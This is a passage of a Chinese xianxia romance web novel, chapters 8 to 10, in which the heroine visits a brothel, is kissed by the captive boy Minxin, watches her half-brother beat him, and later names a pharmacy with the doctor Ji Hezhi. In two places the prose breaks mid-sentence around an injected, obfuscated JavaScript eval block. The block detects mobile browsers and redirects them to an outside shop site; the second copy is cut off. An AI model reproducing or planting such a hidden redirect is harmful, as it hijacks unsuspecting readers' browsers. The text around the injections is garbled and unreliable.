这也罢了,要和他斗,至少也该聪明点,怎么不仅带着那样多的银钱在花楼招摇撞市,还敢…… 还敢当着他的面,直言‘晦气’。 8. 第 8 章【8月18一更】 第8章 生平第一次。 沈盈息生前死后第一次见识人间的花楼,这儿当真如话本所言,美人如云,蜜语绵绵。 躺进如云柔软的软席中,只觉得白日的劳累一应消散了。 曾经修无情道的道友们若能看见她此番作为,不知又该如何言语冰冷地讥她不务正业了。 沈盈息兀地弯眼笑起来。 她想起自己这些道友们,想到他们在自己死后几百年都恶狠狠冷冰冰,却又坚持不懈地寻自己魂魄的样子,便有些好笑。 他们这些人,在她活着的时候避她不及,待她死后倒一应记起来寻仇了。 沈盈息想着想着,忽觉得纳闷,她平日里究竟怎么得罪了他们,叫这群一心修道的道友们记仇记得这样深。 “贵人,您的酒。” 沈盈息循声抬眸,一昳丽少年款款而至,葱白的纤指捏着一个精致小巧的酒杯,杯中酒液微晃,端酒的少年眸色浅淡,恰如杯中酒般潋滟。 咦? 好熟悉的小郎君。 沈盈息蹙额,望着少年陌生又熟悉的俊秀面庞,因专注思索,反倒一时忘了移开视线。 沈试玉坐在沈盈息对面,盯着少女痴望的目光,心下不知是何感受,纤长眼睫微垂,遮掩住琥珀浅眸底的暗色。 “贵人……” 少年已至身侧,酒杯被送至唇边,冰凉的金樽压着柔软红唇,樽壁上嵌着的红宝石与少女唇色相应,冰冷的翠丽点缀在温润的唇瓣,好一番丽色如许。 昳丽少年喂酒的动作一顿,眼光飞快地从少女唇央扫过,手指莫名抖了下,酒液便如落花般从金樽中洒落。 “嘶。” 好烫! 洒落的酒液大半都顺着衣领滑进了脖沿,沈盈息被这热酒激得一惊,瞬时间站了起来。 “阿姊!”沈试玉立刻也紧张地站起来,长腿一跨迈至沈盈息身侧。 此时沈盈息身侧还有个端酒少年,沈试玉阴冷地朝他看了一眼,温厚的红唇一张,却吐出了一句冷厉的:“滚开。” 而后不待少年动作,他便不由分说地一巴掌把这个挡道又可恶的端酒少年掀开了。 那少年看起来美丽柔弱,被这一巴掌打退了三两步,却依旧神色浅淡,甚至还能将剩下半杯酒稳稳地端在手中,看起来早已习惯被打似的,不羞不恼。 只握着金樽的几根手指更加用力地捏着杯壁,指骨攥得青白,没有面色那样波澜不惊。 沈试玉背对少年,正面紧张望着沈盈息,他方才垂眼,没看清发生了什么,只听见阿姊一声类似痛呼的声音,便瞬时间站了起来。 “阿姊,您没事吧,是不是那贱人冒犯您了?他哪只手碰的你,我现在就去宰了他!” ? 不过是站了一下,场面就瞬息万变了。 沈盈息拆开衣襟领口的动作一顿,疑惑的眼神看向挡在身前的庶弟:“沈试玉,你、你方才说什么?” 贱人?宰人? 这是她那个弱不禁风的柔弱弟弟该说出口的话? “阿、阿姊,”沈试玉没看见沈盈息身上有何不妥,只是衣领湿了一块,他才意识到是误会,也回神自己方才脱口而出的话,霎时间小脸煞白,红唇失色,“阿姊,方才是,是试玉说错了话,试玉是……太担心您了……” “担心我,你打他干什么?”沈盈息蹙眉,她又没聋,还听得清那巴掌的声音。 记忆里没记得沈试玉是这般暴戾的性子啊。 沈盈息怀疑地看了眼比她高许多的沈试玉,他脸色苍白,眼神受伤,哀怜地望着她时像只即将被遗弃的弱兽。 “……阿姊,对不起。”庶弟隐含哭腔的道歉声响起,浓睫翩跹,眨眼间那双琥珀眸中已泛起了水雾,看着好不委屈可怜。 沈盈息沉默了下,“下不为例。” 毕竟是沈家人,不能不护着点。 “不会有下一次了,”沈试玉咬唇,轻声,埋着头不看沈盈息的眼睛,仿佛是胆怯,又似遮掩着什么。 沈盈息随意嗯了声,伸手推开挡在身前的沈试玉,而后走向被晾在一旁的少年。 走到少年面前,看见他还一动不动端着酒,安静而乖顺。 沈盈息愈发觉得这少年的模样熟悉,伸手拨了拨松散的衣领,她似不经意地问道:“你叫什么?” “奴敏心,”少年低柔地回答,垂头,神色不明。 “哦,敏心,”沈盈息笑了下,“是聪慧敏捷的‘慜’字拆成的那个敏心吗?” 她正想说好名字,却见一直低头的少年听见她的话,忽地抬起头,紧紧地盯住她,那样紧咬不放的目光,倒把沈盈息吓了一吓。 “咳,”沈盈息不动声色地收了收衣领,脖颈处进的热酒现已有些发凉,“我替我弟弟给你道歉,他这件事做错了。” “喏,这是赔礼。” 从荷包里拿出一张大面额的银票,沈盈息将它折了折,塞进少年掌中。 少女柔软温热的指腹从指尖一掠而过,如轻燕般的过影无痕。 敏心盯着沈盈息的目光顿了下,而后重新低下头,默不作声地摩挲了几番被少女触过的手指。 那张银票倒被其不甚在意地团在掌根处,没甚珍惜的样子。 “沈试玉,走了。” 衣领湿了难受,沈盈息无意再待,这花楼表面的乐处是体验过了,其他的也没什么想体验的意思。 召上沈试玉,她往门外走去。 “等等,”没走几步,敏心唤住了她。 沈盈息回头,疑惑地看着少年:“还有事?” 敏心抬头,露出进门以来的第一抹笑,“贵人忘了东西了。” “东西?”沈盈息摸过腰间,玉佩荷包俱在,倒不知遗漏的是什么。 敏心含笑点头,端酒上前,目光温柔地注视着她,“贵人,这杯酒是奉给您的。” 沈盈息一愣,她垂下眼帘,看向少年送至眼前的金樽,酒液半撒,樽沿已是湿润,浸润出迷离的金光。 “……这酒,我不想要,”这具身子酒量不好,一杯酒能撑得住,两杯下去还真说不准,沈盈息摇摇头,伸手抵在敏心的手腕处,把酒往回推了推,“你替我喝了吧。” 替她喝? 敏心眼神一闪,但并未多说其他,仰起冷玉般白皙的长脖,薄唇含住金樽,将剩下的半杯酒一饮而尽。 “好,酒喝完了,那……” ……我走了…… 未尽的话被吞没在唇齿之间,连带着沈盈息回身的动作一同僵在原地。 “你干什么!” 电光火石之间,沈试玉含怒的骂声已跟着唇边湿润的触感一同剥离,取而代之的是一道巨大连贯的破碎声响。 桌倒椅摔的巨响之中,金樽落地的声音沉闷而单调,和着少年的痛哼声和喜怒难辨的低笑,隐隐谱成一段诡谲又靡丽的断奏曲。 沈盈息抬手,指腹怔然擦过唇角,方才那冰凉湿润的触感尤有余韵,昭示着真相。 ——他亲了她? 这个唤敏心的少年,哪里来的胆子,敢未经她同意就亲上来? 沈盈息缓缓收手,面无表情地看向屋内的混乱中心。 沈试玉单膝跪在敏心的小腹上,多拿几本书都脸色苍白的庶弟如今抡起拳头,一拳拳砸下的动作倒一点不柔弱,攥起的拳绷得青白,又很快染上了鲜血,浸成了一手背的红。 拳头起伏间,血滴子绽花似地扬起又摔落,落在下方少年的额头、眼睛、唇瓣上。 沈盈息平静地看着沈试玉的失控,目光从庶弟泛红的面庞落到敏心鲜血淋漓的脸上。 即便被如此暴力地殴打着,那昳丽的少年除了发出几声隐忍的闷哼,然后就是掀起唇角张扬地笑着。 他边笑,鲜血边流进唇中,又从唇角溢出淌满下巴。 沈盈息看见他唇齿间都是浓郁的鲜血,跟着发现他转移目光,那双潋滟生光的长眸直直地看向了她。 似乎是从和她的对视里,找到了她也在注意自己的证明,少年沾了血的浓睫微颤,瞳仁微缩,下一瞬眼眸更弯起,眼尾上翘,勾人于无形。 沈盈息便无声地接收着那少年无形的挑衅。 他愈痛愈是张狂的笑模样,忽而间击中了沈盈息的思绪,她终于记起来敏心这张脸熟悉的源头了。 “……沈试玉,住手。” 失控的沈试玉没有听见,已破皮的拳头仍要继续逞凶。 沈盈息蹙眉,走上前去,一脚把沈试玉踹了过去,“够了!” 沈试玉显然没够,他不知是哪里来的怪力和动机,拼了自己孱弱多病的身子,也想要叫冒犯他阿姊的贱人死在这里。 可沈盈息的一脚踹醒了他,更踹得他连咳不止,倒伏在地上捂着胸口惊天动地地咳出了血。 …… 沈盈息被沈试玉的咳声吸引了注意力,她一眼看见他咳出的血和虚弱到涣散的眼神,简直要厌烦得不行。 好好的,一出又一出的闹剧,把她刚松泛下的心情都捣乱了。 事已至此,要归咎还是她现脚下这人的错。 ——敏心,她的第三个任务对象。 罪臣之子,受罚入花楼,至死不得出。 比起敏心这个名字,沈盈息更熟悉的是他的真名——上官慜之。 任务卷轴上的图像是上官慜之的成年体,如今沈盈息和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251995|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他相遇太早,见到的是他初入花楼时的少年体。 无怪乎最初认不出,却又熟悉得很。 若不是他的成年体笑起来时也是一般的邪肆张狂,她及时认出,或许他此时真就生死难料了。 沈盈息当然不能叫他真死了,制止完沈试玉,她两边望着都血淋淋的少年,眉心钝钝地疼痛起来。 “呵,贵人还不快去心疼心疼你的弟弟,他看起来快要死了。” 脚下被教训得半死不活的少年突然冷笑出声,恶毒的咒意快从那双眼睛中溢出来。 沈盈息啧了声,蹲下身擒起少年下颚,垂眸冷淡:“你是故意的,你想借我手杀了自个?” 被她擒住下巴的少年被迫仰起脸,血滴从脸颊滑进长颈,所过流连出一条刺目的血痕。 因仰脸的缘故,他的表情尽数落进了沈盈息的眼中,一丝一毫都逃避不得。 上官慜之或许也自知已落入无所遁形的境地,竟也不慌,反而噙笑反问:“那怎么办呢,杀了我?” “……阿姊,别碰,脏。” 沈盈息微微侧头,余光扫过咳着血还想制止她的沈试玉。 这时他已不遮掩自己的本心了,甜蜜的长圆眸子恶极了盯着她手中的少年,阴毒的目光和他一下巴的鲜血配合起来,倒真似一只冷艳的厉鬼。 到底还是年轻。 根本装不久。 沈盈息呵了声,“沈试玉,别装了,自己爬起来,滚回沈府去。” “阿姊,为什么,我!”方才还狠厉打人的少年霎时间慌了,他连忙卸下阴毒的目光,两眼含泪,凄迷地控诉,“我没错啊阿姊,是这个贱人亲你在先,他这种低贱的货色凭什么亲你啊,我都没……” “滚。” 沈盈息加重了语调,淬冰的语气任谁都听得出她的怒气。 沈试玉一下息了声,沉默半晌,他摇摇晃晃地站了起来,最终踉跄地扶着墙走出了房间。 “阿姊,我在家里等您。” 他走时留下这样一句轻柔的话,嗓音依旧清润动听,好似这里的一切都没发生,他刹那间就将所有混乱都忘却了。 待他走后,上官慜之挣开了沈盈息的钳制,垂眸半笑:“贵人可真是有个好弟弟啊。” 少年刻意咬重了好弟弟几个字的音,含笑强调,讽刺之意不言而喻。 沈盈息拧眉,“你好端端寻死干什么?” 上官慜之默了默,继而仰脸凑近她,笑得如妖似魅:“哦,贵人心疼了?心疼奴的话,不如……” 说着,他的眼神就流连上她的唇。 沈盈息一把推开他凑上来的脸,站起来居高临下地望着被推倒在地,侧身躺卧越显身段的少年,“别激我了,没用。” 望着目露可惜的少年,她顿了顿,补充:“你别再想死,待过个几年,自会有你的造化。” 任务卷轴上没有具体介绍上官慜之如何入道的,只标明了他比其他任务对象都更早被发现了灵根。 她此言不错,不出十年,上官慜之便能脱离俗尘,进入修真界造化修为了。 不过此时的少年当然不会料到他日后会怎样,或许也料到了,只是和她所知的方向不同。 听完少女似安慰似劝阻的善言,上官慜之闷笑两声,而后就此躺在地上,枕着双臂,悠闲自得的模样:“谢谢您了,大善人,您可真是好心呐。” 又是这般连嘲带讽的样子。 沈盈息漠然,从腰间解下了玉佩,丢给躺地上的少年,“无论你信不信,我们日后会再见的。” 说罢,她不再管上官慜之,抬脚离开了房间。 待少女走后,上官慜之犹自躺在地上许久。 撕裂的伤口还在流血,汩汩流动的冰凉液体从额角滑落,像一条小蛇从额头缓缓爬到了耳廓里,血浸湿了衣衫,缀重了全身。 身子好重,如坠千斤,心跳缓慢,是要死了吗? …… 默数了一段时间,或许很长,或许很短。 上官慜之没等到自己的死亡。 他等来的是医师。 那是位青衣的青年,身量极高,还有副极好的相貌。 上官慜之被这医师扶起来坐好,医师打开药箱前对他道:“沈老板令某来为你医伤。” 沈老板? 哦,原来她姓沈。 “她叫什么?”少年漠然问道。 医师顿了顿,处理伤口的动作霎时间失力,重重擦过伤口。 尖锐的疼痛猛地击中了额头,上官慜之却呵笑一声,“你不想说没关系,我迟早会知道。” 反正是她说的。 他们日后会再见的。 他等着。 9. 第 9 章【8月18二更】 第9章 沈盈息找来老鸨,卸下荷包,“你送去的小子我要了。” 老鸨打开荷包一看,里面那厚厚的一沓银票重得她双手哆嗦,她抖着手把荷包系好,欲哭无泪:“可可可他是官家的,奴使唤得了却放不了啊。” 沈盈息眼尾一扫,黑眸平静:“没让你放人。” 老鸨一惊,紧接着捂住荷包,小心翼翼试探:“那依照您的意思是……?” “看着点,别让他死了,”沈盈息微顿,思及这花楼的特殊,有个念头在脑海里浮现。 “他来此处多久了?” “呃,半年了。”老鸨答。 沈盈息颔首,“他经常寻死?” 老鸨转了转眼珠,含糊地说:“刚来不久的都是这样的,尤其是这种大家子弟,刚落魄嘛,还不愿意学伺候人的本事的。” 闻言,沈盈息思量半晌。 来此半年了,经常寻死,看来的确是厌恶那所谓的伺候人的本事。 见沈盈息沉默,老鸨咬了咬干燥的下唇,“这贱……咳,这孩子是不是冒犯到贵人了?” “他如果实在不喜欢学,”沈盈息没理睬老鸨的试探,回身望了望紧闭的房门,沉吟了会儿,道:“别的也就算了,一些脏东西就别叫他学了。” 说罢,她径直走下了楼。 沈盈息离开了,老鸨打开她留下的荷包,悄悄数了数,而后满意收起。 望着少女离去的背影,老鸨嘿嘿一笑,这姑娘年纪不大,却已经会外养起美人了。 前途不可估量、不可估量。 老鸨转身,想着去看看给她带来滔天富贵的少年,谁知一掉头,意想不到又惊恐万分地,她就和季九对视上了。 季九只是用一双深黑的瞳仁定定地看了老鸨几眼,这老妇就血色尽失,抖若筛糠地趴跪了下去。 五体投地大跪的同时,这要被吓疯了的老妇就抖着手腕把沈盈息的荷包举过头顶,哭腔尖利:“世世世子,这钱不是奴奴奴……” 季九神情冰冷,余光一动,身侧的侍从就明白了,上前接过老鸨手中的荷包,把里面的钱取出扔下,收了荷包纳入袖中。 季世子方冷冷出声:“她既要了人,你就照她吩咐来。” 面容华贵的少年微顿,接着绯红如花瓣的薄唇勾起一道恶劣的微笑,“脏的不做,其他的,自然是尽安排上了。” 沈盈息的小情儿? 给她一个备受磋磨、容颜老旧的小情儿,看她还怎么喜欢得起来。 面对季世子这般权贵的命令,老鸨只得照做,不仅得照做,还得做得尽善尽美。 当然,这一切不能让沈盈息知道。 等季九也离开,老鸨苦哈哈起身,脸色还缓不过地白着,在原地呆了一会儿,方一张张捡起了地上的银票。 银票越捡,腰包越鼓,老鸨不由得一边捡一边笑,但一想到季九和沈盈息相悖的命令,她的笑又垮了一半,最终脸上露出的是半哭半笑的滑稽表情。 …… 沈盈息坐上马车,揉了揉眉心。 系统冷不丁地在识海里道:“仙君为什么不直接赎走这个疯子,这样他不是会更感谢您吗?” “感谢?”沈盈息放下手,慵懒地欠着软靠,“我现在要成亲的对象是纪和致,上官慜之出现得太早,我保他一命便足够了。” “可,”系统尾巴苦恼地甩了甩,“他要真在这里待十年,肯定会更疯啊,到时候不会很难攻略吗?” “他是带不走的,”沈盈息修道多年,自有这般直觉,“命数如此,我不可随意更改。” 会折她功德的。 “况且他如今也不正常,”少女顺着软榻倒下,卧枕屈起的手臂,脸颊柔软地压在手臂上,嗓音已有些恹恹,“今日遭了他和沈试玉的疯,我才知纪和致是如何的正常。” 那么,明日就去看看纪和致,顺道也把香铺的邪祟除了吧。 免得那邪祟真剥了她的纪老板灵根。 系统是天道参考其他小世界系统而做成的复制品,它本质上还是天道用来力挽狂澜的、粗糙的工具。 天道给它的知识体系大多也是其他世界的,对本界的什么功德命数等常识的储存甚少。 是以它不明白沈盈息的想法。 但它还是相信宿主的,于是在识海里滚了几圈,把所有苦恼都滚尽了,才问出最后一个疑问:“那药铺那个疯子能被仙君带走,也是他的命数吗?” 沈盈息已处于半睡半醒间,迷糊听见询问,浓密的长睫动了动,从困意中挣出点清醒,答声带着微微的鼻音,软软的:“嗯,纪和致今天没我,过不了几天也会脱困的。” 只不过他是从一个魔窟掉进另一个而已。 那只邪祟……真的很饿了。 纪和致逃出生天的命数,和她除祟的念头恰巧谋和而已,不算改命。 ……也不是作弊。 “奥奥,”系统明白地点着狼头,他待在识海不出去,看不见沈盈息,只能听着她的声音猜她的表情。 啊软软的仙君的声音,是笑着吗,仙君累了吗? 身体成了狼崽子,系统觉得自己的思绪好像也有点狼狼狗狗的,听着仙君的声音,就很想扑进她怀里用尾巴乱摇。 “仙君?”寂寞地用尾巴扫了扫地,系统忍不住又开口。 “嗯?”沈盈息传来的声音又低又软,还有点闷闷的。 系统眨眼,前爪撑在地面,后爪屈起坐着,“您笑了吗?睡了吗?” “……”无人应答。 系统歪了歪狼首,不气馁:“仙君?” “……”无人应答。 系统坚持:“仙君仙君仙君——” 沈盈息一把把识海里的狼崽子揪出来,而后塞进怀里,用力地揉了把系统头顶的白毛,“睡觉了。” “……”呜! 系统震惊地呜咽一声,尾巴如愿以偿地摇了起来,仙君……仙君! “仙君宝宝我……!”——爱你 狼吻被少女细白的手指一把攥住,所有狼狼狗狗的话声都被迫吞回了喉咙,模糊成一串细碎的哼唧。 “……闭嘴。”沈盈息忍无可忍,把系统往怀里一塞,翻了个身,紧紧搂压着。 “……”呜。 系统忍住想伸舌头舔沈盈息掌心的冲动,第一次以实体出现的它两只眼睛专注地望着沈盈息的安静睡去的面庞。 良久良久,才试探性地伸出柔软的尾巴轻轻扫过少女的手腕,而后安静地搭在了她的小臂上。 除了仙君,谁都看不见它。 呜,它是仙君的唯一。 系统自得地动了动尾巴,动作或许大了些,惹得沈盈息不满地低哼一声。 狼崽赶忙收尾,闭上眼睛。 沈盈息跟着满意地摸了下狼首白毛。 一人一狼终于安静了下来。 “家主呢?” “家主似乎睡了。” 阿廪掀开车帘,往马车内看了一眼,这一眼看得有些久,惹得外间候着的奴仆吸了一大口冷气。 “都小声点。” 阿廪冷厉的眼神扫过奴仆,被扫到的人无一例外不低头噤声,于是管家给他的主人认为塑造出了个静谧的环境。 奴仆们不敢抬头,但余光还能瞥见些东西。 而后他们就看见廪管家踏上马凳,把家主给抱出了马车。 即便看不完全,也能从廪管家轻得仿若无声的脚步里知道对方的小心。 …… 直到廪管家抱着家主的身影消失,原地低头的奴仆们终于长长松了口气。 有憋红了脸的随从偷眼往大门瞧,见主人家是彻底远去了,方才小声嘀咕道:“廪管家真是好恐怖一个人,我光听他声音腿都打颤。” 有人附和:“廪管家那脸又木又冷跟个死人一样,谁见不说恐怖。” “确实,一点表情都没有。” “不过廪管家对家主倒是忠心,家主也喜欢他。” “毕竟廪管家为家主死过一次嘛,而且廪管家就对家主一人笑,对大少爷都跟对我们一个样的。” “居然对大少爷也敢这样一副死人脸吗?” “……欸,话说大少爷什么时候回来啊?半年多了,也该回来了吧?” “快了快了,听说已经过了淮东了。” 夜深,人声渐稀,明月起西山,月色如银盘。 …… 翌日,沈盈息睡醒,坐起来后任由自己蒙了一会儿,方掀开被子赤脚走下床榻。 “吱呀——” 门扉声动,沈盈息不必抬头就知道是谁。 “家主……”阿廪管家温和的嗓音忽而半道落地,房中静了一息,紧接着是一阵加快的靠近声,沈盈息的脚下一刻被男人温热的手掌托起。 “家主,地上凉,您若不想亲自动手,怎的也不待属下来就下床了呢?” 阿廪管家垂头,长臂一展,便拿过了不远处的绣鞋,而后一手握住少女脚腕,一手拿鞋袜,先袜后鞋地合上少女的脚。 他的动作细致又缓慢,掌心又比较热,沈盈息在阿廪终于给她穿第二只鞋的时候,终于不耐地踢了踢他的手腕,无声地催促了下。 阿廪跟着呼吸停了下,而后低声道:“对不住主子,属下又惹您嫌了。” 话说着,动作倒真利落起来,两只鞋完整穿好,原来踩着地面踩得凉凉的脚也跟着暖了起来。 沈盈息便不计较了,她准备洗漱用早饭,阿廪却忽然沉声告退,道有急事,不能伺候了,接着就遣了两个婢子进来。 府内能有什么急事? 沈盈息奇怪了一瞬,这事能急得这个阿廪手都没洗就离开,那应当是真急。 总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走上街,沈盈息今日倒花了钱,买了许多新奇的东西,一路走着玩着,玩够了,便全数送给了路边的小孩。 等快到东街的时候,她忽而想起要置备些除祟的东西,就又去了纸墨堂买了红墨与纸笔。 她买的纸墨笔都很简单,没有讲究,届时除祟多用的是她修道时的功德,故而随意承个载体就可。 凡人除祟她倒也看过,他们因为没有修成的功德之力,故而才需要那般严肃讲究的纸墨笔。 待恢复修为便简利了,沈盈息望着自己抱着的东西,想着修为恢复,她连载体都不需要。 而要尽快恢复修为,自然要尽快完成任务了。 沈盈息临近东街药铺,忽地半路又折了一道,再出现,手中已握了支男子用的玉簪。 药堂还没开张,还有许多事务要等着她这个大老板定夺。 纪和致是明面上的掌事人,却也知晓不逾矩,把药堂名这样的大事交给大老板。 “药铺的名字?”沈盈息只有在收徒的时候才有取名的烦恼,而她也八百多年没收过徒了,这技艺好生疏。 她苦苦思索,最终看向一旁等候的纪老板:“我想不出来……” 纪和致忍不住扬唇,把少女苦恼思索的全过程都纳入眼底的他,只觉得外间晴好天明,哪哪儿都很光明可喜。 他笑着,温润地把昨晚翻了许多典故才取出的字交出来。 沈盈息啊了声,“你有了怎还磋磨我?” 纪和致一本正经,“某如何能代表沈老板?” “这有什么,如何代表不了的。”沈盈息拿过那张写满了字的纸,看得眼花缭乱的同时不由想,等她死了,这个药铺的老板就剩纪和致一人了,他到时候就必须代表的了了。 不过现在说这些没用。 纪和致这么认真的人,她明面上也不随意糊弄,便从那张密密麻麻写了字的纸上指了一个‘得’字,又思考了半晌,说:“就叫纪得,你纪老板的姓也加上,如何?” 纪和致一愣,他抿唇,指了指自己:“我的姓?” 沈盈息把纸‘啪’地一声拍上他胸膛,郑重其事地盯着他的眼睛,狠狠点头:“嗯,你纪老板给我赚多多的钱,这是先给你的甜头,怎么样,够甜了吧?” 今天阳光,或许好过头了。 纪和致清隽的眉眼忍不住凝起又舒展,望着少女阳光下张扬肆意的面庞,薄唇抿紧,说不准胸前的热是因为她太过用力的拍动,还是什么其他的东西。 他看着沈盈息看了几秒,而后收回视线,伸手拿下胸前的纸。 忽而感觉触感不对,纪和致一低头,发现纸中还包着一支做工精良的玉簪,他怔然抬眸,和少女笑吟吟的眼睛对上。 沈盈息说:“给你预支的开工小礼,甜上加甜了吧?” 青年修长的手指缓慢地抚过温润的簪身,在少女的目光中,垂眼而笑:“是,甜。” 阳光像金像蜜,真是好得过了头。 10. 第 10 章 第10章 沈盈息坐在药铺里唯二的圆背椅上,身侧的另一张椅子上坐着纪和致。 二人正对同一张桌子坐着,肩挨着肩,背影相依。 阿仓站在他们身后,抱剑看了一会儿,忽而又移开目光,一味盯着光秃秃的地面瞧。 沿用此法,画面是如愿以偿看不见了,但耳中听到的声音却更加清晰。 “咦,你这写的什么字?” 沈盈息看着纪和致题字,发现他没像永安药铺一般以草书题匾,而是换了种字体。 一种笔划圆润又舒展的字,她分辨不出是哪种字。 纪和致收束好最后一捺,闻言黑眸微弯,“是篆书。” 拿起纸,半干的墨字有着轻飘飘的重量,青年却似对待千金般郑重地捧着,他定定地盯着‘纪得’二字半晌,而后又慢慢地放回了桌上。 沈盈息静静地注视着纪和致,看见他眸中的笑意如碎金浮跃,不似平日温和无波,心下有了几分猜测。 “你看起来更喜欢篆书,”她想起永安药铺上的牌匾,那也是纪和致写的,那副字写得亦好看,不过他离开时却未见对那幅字的留恋。 喜恶不同,必有内因。 果然,纪和致说:“篆书是我爹教我的,他生平除了钻研医术,再就最得意自己的字,” 温润如玉的青年转头,望着少女青稚的容貌,笑了笑,“他和我娘医术都好,他们是同门师兄妹,我们算是师承一脉。” 原是自幼就接触医道。 无怪乎纪和致年纪不大,却如此精通药理。 他看起来也很喜欢做医师。 沈盈息视线从青年面容上撤下,目光放空,若有所思起来。 “在想什么?”许是她思考的时间有些久了,纪和致不由启唇。 沈盈息回神,“纪老板是想将一生都用在钻研医道之上吗?” “一生啊……”温润俊逸的青年低眉沉思了会儿,而后抬首微微一笑,“世事无常,某断定不了余生如何,不过若有幸,某会珍惜行医的机会。” 世事确实无常。 沈盈息想,仅仅看着现在的纪和致,谁又能想到他会毁弃医道,转而修起以杀入道的无情大道呢? 她没主动了解纪和致的过往,只从系统的只言片语中知道他受了欺凌,过得凄惨。 究竟怎么个惨字,沈盈息不清楚。 当然,纪和致现在不会和她说的。 他的心防很重。 不似最初那样重,但依旧主动和她划分着无形的距离。 沈盈息拿起桌上的墨字,凑近看了看,而后从纸后抬起脸,望着纪和致的眼睛,信赖道:“这话可是你自己说的啊纪老板,日后可不要毁弃诺言,不做医师了。” 她顿了顿,因不能预料到纪和致日后究竟会遇到何等的磋磨折难,恐这少时誓言的重量会迫得他不堪其重,便又道:“觉得辛苦的时候,就歇一会也无碍。不过休息好后还得再想想,少年心最珍贵,背弃了可就再没有了,千万珍重。” 沈盈息是个没过往的修士,她自有记忆起就已是个无情道修士了。 纪和致转道重修的苦痛她不曾经历,他日后会不会再次转修,转修的决心是什么,她也无从得知。 系统让她给任务对象开情窍,开了情窍后,纪和致或是其余的任务对象会再经历哪些事,她大概也不会参与。 这些话,只不过是她作为曾经的无情道魁首,对日后的修道者最朴素的劝告。 但似乎……也不算多此一举。 面前的纪和致清俊眉眼半垂,纤长的眼睫在下眼睑处落着层淡淡的灰影,脸上的表情似深思,又似动容。 他淡绯的薄唇抿了抿,而后勾出一抹笑。 “沈老板今日这番话,纪和致铭记在心。” 沈盈息稍微笑了下,随意地想到,道心这种事,不是光靠铭记就能坚守的。 不过她也无需思考他究竟会不会信诺。 纪和致坚不坚守道心,待她假死脱身,也就与她无关了。 沈盈息转而想起昨夜遇到的上官慜之,不由好奇起另外一件事:“我来这儿许久,倒是没听到你问昨晚的事。” 闻言,纪和致目光收了下,而后缓缓抬眼,看向少女,“那是沈老板的私事,某如今的身份,并无资格立场过问。” 也是。 沈盈息被纪和致说服了,她和他相识都不满两日,确实还没有熟到互通私密的关系。 沈盈息坐了回去,离纪和致远了许多,跟着没了疑问,她便不再言语。 他们只二人在此处闲聊,少女一安静,整个铺子都陷入了一场令人难以忍耐的静谧。 纪和致抿唇,思考起自己如何将话题推向沉默的。 “……我并无他意,”半晌后,青年温声道,语调慢了许多,似是斟酌:“沈老板将药铺与某经营,已是大恩,至于其他,某不敢多求。” “嗯?” 什么不敢多求? 沈盈息慢吞吞地想了想,把纪和致的话一句句理开,终于有点理清的意思。 所以,纪和致是想先偿了她的恩情,而后才敢卸心防与她做朋友? 这距离感,纪老板还真是拿捏住了。 和纪和致的疏离有礼一比,上官慜之昨夜的举措倒显得格外冒犯。 如此想着,沈盈息不免慨叹:“纪老板品格端正,性子也沉稳,那翠玉楼的人就不似纪老板这般。” “……”纪和致垂眸,眼前浮现出一昳丽少年,也就是沈盈息口中“那翠玉楼人”的模样。 是个皮相艳丽,肤色白皙,青涩但不掩绝色的一位少年。 看起来和沈盈息年岁差不多大。 她谈及此少年时口吻并无嫌恶,昨夜还那般紧急地叫他去为其处理伤口…… 奇怪,如她这样的贵女,府中应当都是自备医师的。 而叫他这样一位底细都没透干净的医师去,想必是不想让家中人知晓她去过翠玉楼这种地方。 纪和致眸光微暗,所以这便是她的目的吗? 府外置间医馆,请个不相识的医师经营,为了——给翠玉楼的少年问药诊病? 他不是她赚钱的雇工,而是她遮人眼目、豢养美人的工具? 但无论是什么,她总有用腻他的那日。 或许他得安心,因为沈盈息喜欢上的是翠玉楼的少年,他这个不为人所知的医师才有用武之处。 ……他该安心的。 这样很好,这样至少两相得益。 纪和致抚了抚袖口,捋好衣袖上的褶皱,心境正称得上是平静时,忽而又听见沈盈息说,“他叫敏心,日后麻烦你多去看看他。我总觉得他会像对待我一样待旁人,万一真惹恼了哪个,被打死了也不知道。” 青年整理袖口的动作一顿,指尖莫名用力,无意识地在原先平整的袖角上摁出了新的皱褶。 纪和致低眼望着袖口的皱褶,目光微凝,接着重新伸出手指,慢慢地抚平:“他如何对待您,能叫受到同等对待的旁人就对其喊打喊杀呢?严重的冒犯吗?” 沈盈息摇头,“严重倒是不严重,不过是胡乱亲了我一下,只是我不喜他这未经同意的靠近,很危险。” 久入无情道者,身上的杀伐之气只要一感受到陌生气息,不必命令便能自成攻势。 若非她现是凡人之人,灵力被封,上官慜之或许真的就死了。 “奥,”纪和致扯出一抹笑,“那的确冒犯。” 但她却说的是,不严重,不喜也是因为担心那少年会受到危险。 字字句句不道喜欢,却处处透着纵容。 纪和致对原先的猜测本存疑,现下听沈盈息的口吻,却不由得多信了两分。 他垂了垂眼睫,压下眼底的思绪,很快又恢复了平静的模样。 纪和致退开椅子,站了起来,顺手拿起早已干透的墨字,对还坐在椅中的沈盈息颔首道:“沈老板交待的事某定然尽力,翠玉楼我会每七日去一次,您不必担心。” 担心? 倒没有担心。 沈盈息当是纪和致自己心善,不放心病人的伤,要亲自去看望病人。 为全他行医的好心,她没反驳,默默应下:“那煎药的银钱都由我出罢,对了,药铺这儿若是短了银钱,切记要告诉我。” 毕竟也是她的铺子。 纪和致笑了笑,“自然,一切状况都会与您说明的。” 他不想再多待,微微作揖,“那某先去寻工匠将牌匾的字刻上,这厢先走了。” “你去哪个方向?”沈盈息说着,也跟着站了起来。 跨步朝门外走的青年动作一滞,回首温和道:“沈老板去哪儿?” 